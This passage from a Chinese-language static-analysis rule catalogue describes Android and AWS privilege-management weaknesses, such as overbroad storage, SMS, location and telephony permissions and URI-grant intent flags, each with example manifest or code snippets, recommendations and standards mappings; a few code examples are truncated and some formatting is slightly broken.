[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.3
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.3
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3310 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3310 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3310 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3310 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3310 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3310 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3310 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001850 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001850 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001850 CAT I
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Privilege Management: Amazon Web Services Unchecked Permissions
ABSTRACT
攻击者可利用控制权限或 access control 列表的方法未经检验的参数来访问敏感数据。
EXPLANATION
攻击者可通过下列方法来利用未经检验的权限中的漏洞:
数据从不可信赖的数据源进入应用程序。
事先未经过任何健全性检查,此数据即用于表示用户或组标识符、权限列表或应用权限的资源。应用程序随后会使用这些未经检查的数据来编辑权限设置。
RECOMMENDATIONS
确保 authentication 和 access control 方法中使用的数据来自安全的源或经过了验证。
REFERENCES
[1] MSC03-J. Never hard code sensitive information CERT
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 265
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[13] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[14] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Android Data Storage
ABSTRACT
程序请求将数据写入 Android 外部存储的权限。
EXPLANATION
写入外部存储的文件可被任意程序与用户读写。程序不可将个人可识别信息等敏感信息写入外部存储中。通过 USB 将 Android 设备连接到电脑或其他设备时,就会启用 USB 海量存储模式。在此模式下,可以读取和修改写入外部存储的任意文件。此外,即使卸载了写入文件的应用程序,这些文件仍会保留在外部存储中,因而提高了敏感信息被盗用的风险。
例 1:AndroidManifest.xml 的 <uses-permission …/%gt;
元素包含危险属性。
1 | <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> |
RECOMMENDATIONS
请勿将以后要使用的受信敏感信息或数据写入外部存储中。而应将其写入程序特定的位置,例如 SQLite 数据库(由 Android 平台提供)。程序内的任意类都可以按名称访问您所创建的任意数据库,而程序外的类则不能。
例 2.通过创建 SQLiteOpenHelper 的子类和替代 OnCreate() 方法来创建一个新的 SQLite 数据库。
1 | public class MyDbOpenHelper extends SQLiteOpenHelper { |
另一种选择则是写入该设备的内部存储中。默认情况下,保存到内部存储中的文件为该程序专用的,其他程序和用户无法直接访问。用户卸载程序时,保存在内部存储中的文件也会随之删除,保证不会留下任何重要的信息。
例 3:以下代码创建了一个专用文件并将其写入设备的内部存储中。此 Context.MODE_PRIVATE 声明会创建一个文件(或是替换同名文件),并将其设定为当前程序的专用文件。
1 | String FILENAME = "hello_file"; |
REFERENCES
[1] Using Permissions
[2] Ruggero Contu, John Girard Put security policies in place for portable storage devices Gartner Research
[3] Data Storage
[4] Standards Mapping - Common Weakness Enumeration CWE ID 265
[5] Standards Mapping - FIPS200 AC
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[15] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Android Disable
ABSTRACT
程序请求禁用话筒的权限。
EXPLANATION
没有理由请求或授予禁用该设备的权限。
例 1:程序禁止调用此权限,任何情况下都不允许。
1 | <uses-permission android:name="android.permission.BRICK"/> |
RECOMMENDATIONS
请勿请求禁用该设备的权限。
REFERENCES
[1] Using Permissions
[2] Mark L. Murphy Beginning Android 2 Apress
[3] Standards Mapping - Common Weakness Enumeration CWE ID 265
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[14] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Android Location
ABSTRACT
程序请求访问设备 GPS 位置的权限。
EXPLANATION
访问 GPS 位置信息会危及用户的隐私和人身安全。请务必谨慎管理需要访问 GPS 位置信息的程序。
例 1:以下代码请求 ACCESS_FINE_LOCATION 的权限。
1 | <permission android:name="android.permission.ACCESS_FINE_LOCATION" |
RECOMMENDATIONS
验证需要 GPS 位置信息的程序。确定程序请求使用的适当层级,而不要授予对位置的全面访问权。以下示例演示了引用 GPS 位置时可使用的不同粒度层级。
例 2:为进行测试,以下代码会创建模拟位置供应商,而不会访问任何真实的 GPS 信息。
1 | <permission android:name="android.permission.ACCESS_MOCK_LOCATION" |
例 3:以下代码使用 WiFi 或 Cell-ID 功能的粗略位置信息,预留精确位置供 GPS 和其他需要此信息的程序使用。
1 | <permission android:name="android.permission.ACCESS_COARSE_LOCATION" |
REFERENCES
[1] Using Permissions
[2] Securing the Presidential Blackberry PC World
[3] Standards Mapping - Common Weakness Enumeration CWE ID 265
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[14] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Android Messaging
ABSTRACT
程序请求执行 SMS 操作。
EXPLANATION
禁止在毫无理由的情况下请求发送与接收 SMS 的权限,也不可在没有考虑的情况下授予该权限。恶意软件会盗取这些权限,在用户不知情的情况下窃取金钱与数据。
例 1: 在这种情况下,<uses-permission …/>
元素包含消息 权限属性。
1 | <uses-permission android:name="android.permission.SEND_SMS"/> |
RECOMMENDATIONS
除非程序的核心功能需要,请勿请求 SMS 权限。壁纸程序不应使用设备的信息功能,媒体播放器也同样不可使用。
REFERENCES
[1] Using Permissions
[2] First SMS Trojan detected for smartphones running Android
[3] Mark L. Murphy Beginning Android Apress
[4] Standards Mapping - Common Weakness Enumeration CWE ID 265
[5] Standards Mapping - FIPS200 AC
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[15] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Android Network
ABSTRACT
程序请求建立网络连接的权限。
EXPLANATION
授予此权限会使该软件能够打开网络套接字。这个权限会授予程序 对设备的控制权,从而对用户造成负面影响。因为此类型的权限会带来潜在风险,系统不会自动将此权限授予请求者。
例 1:AndroidManifest.xml 的以下
1 | <uses-permission android:name="android.permission.INTERNET"/> |
RECOMMENDATIONS
请求此权限时请慎重考虑。如果程序不需要此权限, 用户可能会拒绝安装。
REFERENCES
[1] Using Permissions
[2] Mark L. Murphy Beginning Android 2 Apress
[3] Standards Mapping - Common Weakness Enumeration CWE ID 265
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[14] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000490 CAT II, APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000490 CAT II, APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000490 CAT II, APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Android Recording
ABSTRACT
程序执行录音操作。
EXPLANATION
不得无缘无故执行录音操作。 恶意软件会利用这些 API,窃取粗心大意的用户的金钱与数据。
RECOMMENDATIONS
除非程序的核心功能需要,否则请勿执行录音操作。 壁纸程序不应使用设备的录音功能,闪光灯也同样不可使用。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 250
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000381, CCI-002233, CCI-002235
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - General Data Protection Regulation Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 10.2.2 Malicious Code Search
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[36] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Android Telephony
ABSTRACT
程序请求打电话与接电话的权限。
vEXPLANATION==== 禁止在毫无理由的情况下请求打电话与接电话的权限,也不可在没有考虑的情况下授予该权限。恶意软件会盗取这些权限来拨打付费号码,在用户不知情的情况下窃取金钱。
例 1:AndroidManifest.xml 的以下<uses-permission …/>
元素包含了电话权限属性。
1 | <uses-permission android:name="android.permission.CALL_PHONE"/> |
RECOMMENDATIONS
本移动设备是电话也可以是手持电脑。但是,程序不应请求拨打权限,除非 其需要使用电话的功能。
REFERENCES
[1] Using Permissions
[2] Who creates malware and why?
[3] Mark L. Murphy Beginning Android 2 Apress
[4] Standards Mapping - Common Weakness Enumeration CWE ID 265
[5] Standards Mapping - FIPS200 AC
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[15] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Dangerous Intent Permission
EXPLANATION
一些有意图的权限能够为外部程序授予通常其没有的权限,例如 FLAG_GRANT_READ_URI_PERMISSION 和 FLAG_GRANT_WRITE_URI_PERMISSION。如果恶意程序能够拦截此意图,便会获得读取或写入指定 URI 的权限。如果意图是隐含而非明确的,往往可以更容易截获这些意图。
例 1:以下代码将权限标志设置为允许写入 Intent 内的 URI。
1 | myIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION); |
RECOMMENDATIONS
通常不应使用这些权限,除非所读取或写入的 URI 确信具有非敏感数据,或者不重要且不确信是可靠的数据。 如果一个程序需要读取或写入 URI,他们应该明确地在第一位置设置此权限,而不需要依赖可能导致与其他应用程序相关的权限管理问题的解决方法。此外,还建议在一般语境下应明确而非隐含地设置意图。
REFERENCES
[1] DRD05-J. Do not grant URI permissions on implicit intents CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 265
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[15] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[16] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Missing API Permission
ABSTRACT
程序试图在不请求所需权限的情况下执行操作。
EXPLANATION
某些 Android 操作需要相应的权限。必须由应用程序在安装时请求权限,方法是通过 <uses-permission/>
标签在 AndroidManifest.xml 文件中将其列出。如果未请求所需的权限,需要这些权限的操作在运行时就会失败。在某些情况下,java.lang.SecurityException 会被抛回到应用程序。在其他情况下,操作会在不提示且未抛出任何异常的情况下失败。
例 1:下列代码会发送基于 SMS 的文本。
1 | sms.sendTextMessage(recipient, null, message, PendingIntent.getBroadcast(SmsMessaging.this, 0, new Intent(ACTION_SMS_SENT), 0), null); |
此 API 需要 android.permission.SEND_SMS 权限。如果清单文件中的应用程序未请求此权限,应用程序就无法发送 SMS。
RECOMMENDATIONS
确保应用程序需要受保护操作提供的功能。如果需要,则应包含请求 AndroidManifest.xml 文件中相应权限所需的<uses-permission/>
标签。不过,除了请求应用程序真正需要的权限之外,切忌因为请求更多权限而导致对应用程序过度授权。这会导致在设备上安装的其他恶意应用程序利用这种过度授权的应用程序对用户体验及存储的数据造成负面影响。另外,设置过多的权限可能会适得其反,导致客户不愿意安装您的应用程序。
例 2:下面摘录的 Android 清单会请求发送 SMS 所需的权限。
1 | <uses-permission android:name="android.permission.SEND_SMS"/> |
REFERENCES
[1] Using Permissions
[2] A. P. Felt, E. Chin, S. Hanna, D. Song, and D. Wagner Android Permissions Demystified
[3] Standards Mapping - Common Weakness Enumeration CWE ID 362
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
